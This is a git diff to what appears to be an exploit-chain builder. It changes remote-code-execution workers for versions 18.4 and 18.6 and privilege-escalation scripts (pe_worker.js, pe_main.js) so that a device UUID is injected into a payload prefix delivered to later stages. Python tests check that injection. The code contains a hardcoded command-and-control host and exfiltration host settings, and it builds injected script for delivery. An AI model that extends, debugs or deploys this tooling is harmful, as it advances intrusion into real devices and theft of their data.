diff --git a/channel-builder-ds/source/pe_main.js b/channel-builder-ds/source/pe_main.js index 21f5e35..d13ad3d 100644 --- a/channel-builder-ds/source/pe_main.js +++ b/channel-builder-ds/source/pe_main.js @@ -1,4 +1,4 @@ -globalThis.__LAB_DEVICE_UUID__="69DD25B2CA8B5682BA2470D77124E2FC"; +globalThis.__LAB_DEVICE_UUID__=globalThis.__LAB_DEVICE_UUID__||"69DD25B2CA8B5682BA2470D77124E2FC"; (() => { try { func_offsets_array[0x2100] = 0x50; } catch (_m0) {} try { fcall_init(); func_offsets_array[0x2100] = 0x51; } diff --git a/channel-builder-ds/source/pe_worker.js b/channel-builder-ds/source/pe_worker.js index 921b769..eedd7d0 100644 --- a/channel-builder-ds/source/pe_worker.js +++ b/channel-builder-ds/source/pe_worker.js @@ -1,4 +1,4 @@ -globalThis.__LAB_DEVICE_UUID__="69DD25B2CA8B5682BA2470D77124E2FC"; +globalThis.__LAB_DEVICE_UUID__=globalThis.__LAB_DEVICE_UUID__||"69DD25B2CA8B5682BA2470D77124E2FC"; (() => { try { func_offsets_array[0x2100] = 0x50; } catch (_m0) {} try { fcall_init(); func_offsets_array[0x2100] = 0x51; } diff --git a/channel-builder-ds/source/rce_worker_18.4.js b/channel-builder-ds/source/rce_worker_18.4.js index 5847e7a..53e6a45 100644 --- a/channel-builder-ds/source/rce_worker_18.4.js +++ b/channel-builder-ds/source/rce_worker_18.4.js @@ -248,6 +248,7 @@ self[1] = boxed_arr; const p = {}; // L1 encryption state (populated via postMessage from main thread) var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null; + var __labDeviceUUID = ''; function __labPrependDelivery(fname, text) { if (!text) return text; var f = String(fname || '').toLowerCase(); @@ -255,7 +256,10 @@ self[1] = boxed_arr; var d = ''; try { d = String(host || '').replace(/"/g, ''); } catch (_h) {} if (!d) return text; - return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text; + var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";'; + if (__labDeviceUUID) pre += '__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";'; + pre += '}catch(_d){}\n'; + return pre + text; } function getJS(fname,method = 'POST') @@ -356,6 +360,7 @@ self[1] = boxed_arr; const slide = data.slide; __labC2Host = 'http://192.168.31.130:8080'; host = data.desiredHost; + if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase(); try { var _tls = !!data.exfilTls; var _h = String(data.exfilHost || '192.168.31.130').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; diff --git a/channel-builder-ds/source/rce_worker_18.6.js b/channel-builder-ds/source/rce_worker_18.6.js index 45c338c..cea84ce 100644 --- a/channel-builder-ds/source/rce_worker_18.6.js +++ b/channel-builder-ds/source/rce_worker_18.6.js @@ -49,6 +49,7 @@ function print(x, reportError = false, dumphex = false) { // 去掉加解密:明文直通,不再解密任何 blob。 var _enc_pass = ''; var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null; + var __labDeviceUUID = ''; function _labDecryptWire(text) { return text; @@ -60,7 +61,10 @@ function print(x, reportError = false, dumphex = false) { var d = ''; try { d = String(host || '').replace(/"/g, ''); } catch (_h) {} if (!d) return text; - return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text; + var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";'; + if (__labDeviceUUID) pre += '__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";'; + pre += '}catch(_d){}\n'; + return pre + text; } function getJS(fname,method = 'POST') @@ -14449,6 +14453,7 @@ async function main() { { __labC2Host = 'http://192.168.31.130:8080'; host = data.desiredHost; + if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase(); try { var _tls = !!data.exfilTls; var _h = String(data.exfilHost || '192.168.31.130').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; diff --git a/channel-builder-ds/tools/tests/test_build.py b/channel-builder-ds/tools/tests/test_build.py index 570874f..693b71c 100644 --- a/channel-builder-ds/tools/tests/test_build.py +++ b/channel-builder-ds/tools/tests/test_build.py @@ -94,6 +94,47 @@ class BuildTest(unittest.TestCase): self.assertIn("location.origin", worker.split("function labC2LogUrl")[1].split("function print")[0]) self.assertNotIn("__labExfilUrl", worker.split("function labC2LogUrl")[1].split("function print")[0]) + def test_pe_worker_uuid_fallback_preserves_injected_uuid(self) -> None: + """pe_worker.js / pe_main.js line 1 must use || so the pre-snippet + injected by rce_worker_*.__labPrependDelivery / patchExfilPayload is + not unconditionally overwritten with the 69DD placeholder.""" + root = TOOLS.parent / "source" + for fname in ("pe_worker.js", "pe_main.js"): + text = (root / fname).read_text(encoding="utf-8") + # Must NOT have unconditional assignment of the 69DD placeholder. + self.assertNotIn( + '__LAB_DEVICE_UUID__="69DD25B2CA8B5682BA2470D77124E2FC"', + text, + f"{fname} must not unconditionally overwrite __LAB_DEVICE_UUID__", + ) + # Must have the || fallback form. + self.assertIn( + "__LAB_DEVICE_UUID__=globalThis.__LAB_DEVICE_UUID__||", + text, + f"{fname} must use || fallback for __LAB_DEVICE_UUID__", + ) + + def test_rce_workers_propagate_device_uuid(self) -> None: + """All rce_worker_*.js that handle stage1_rce must read data.deviceUUID + and inject __LAB_DEVICE_UUID__ into pe_worker/pe_main via prepend.""" + root = TOOLS.parent / "source" + for fname in ("rce_worker_18.4.js", "rce_worker_18.6.js"): + text = (root / fname).read_text(encoding="utf-8") + # Must declare __labDeviceUUID variable. + self.assertIn("__labDeviceUUID", text, f"{fname} must declare __labDeviceUUID") + # Must read data.deviceUUID in stage1_rce handler. + self.assertIn( + "data.deviceUUID", + text, + f"{fname} must read data.deviceUUID", + ) + # Must inject __LAB_DEVICE_UUID__ in prepend snippet. + self.assertIn( + "__LAB_DEVICE_UUID__", + text.split("__labPrependDelivery")[1] if "__labPrependDelivery" in text else "", + f"{fname} must inject __LAB_DEVICE_UUID__ in __labPrependDelivery", + ) + if __name__ == "__main__": unittest.main()